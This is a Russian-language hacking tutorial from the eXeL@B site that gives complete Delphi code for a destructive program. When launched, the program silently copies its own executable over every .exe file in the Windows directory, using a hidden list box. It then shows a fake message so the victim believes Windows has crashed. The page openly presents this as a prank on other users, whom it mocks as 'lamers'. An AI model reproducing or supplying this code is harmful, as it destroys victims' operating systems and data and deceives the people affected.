Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 8 мая!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



заменяем все exe-файлы в папке windows

[Автор - Prankster]

http://www.hacker85.narod.ru


Hi, перец! сегодня мы напишем прогу, заменяющую все exe - файлы в директории Windows
Итак, начнём.

Создаём новый Project.
Для начала нам нужно узнать, в какой директории установлена Windows
Для этого: В разделе public пишем:

Windir : String;
WindirP : PChar;
Res : Cardinal;

затем по событию OnActivate
пишем:



WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP); //теперь в переменной Windir у нас находится путь к Windows

теперь перейдем непосредственно к самому изъятию );
всё в том же событии OnActivate пишем: var OurFileCopyName:string; // - до begin, заводим две переменные
i:integer;


затем перейди в закладку Win 3.1 найди там FileListBox и кинь его на форму, устанонови Свойство Visible в false, чтоб глаз не мозолил ); в свойстве Mask установи значение *.exe , чтобы ы нём оторбажались только *.exe-файлы;
теперь всё в том же OnActivate пиши: FileListBox1.Directory:=Windir;
OurFileCopyName:='c:\our.exe';
CopyFile(PChar(Application.ExeName),PChar(OurFileCopyName),true); //создаём временный файл
for i:=0 to FileListBox1.Count-1 do begin // - запускаем цикл
CopyFile(PChar('c:\our.exe'), PChar(Windir+'\'+FileListBox1.Items.Strings[i]), false); // - заменяем файло
end; // - останавливаем цикл
DeleteFile('C:\our.exe'); // - Уничтожаем временный файл


Все! теперь что бы ламерюга не запустил (из Windows-овского говна) запустится наша кул-хацкерская прога

З.Ы. можешь ещё в OnActivate прописать: ShowMessage('Windows beta version extracted!');


чтобы ламерюга подумал, что у него Windows грохнулся!
Усё!




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS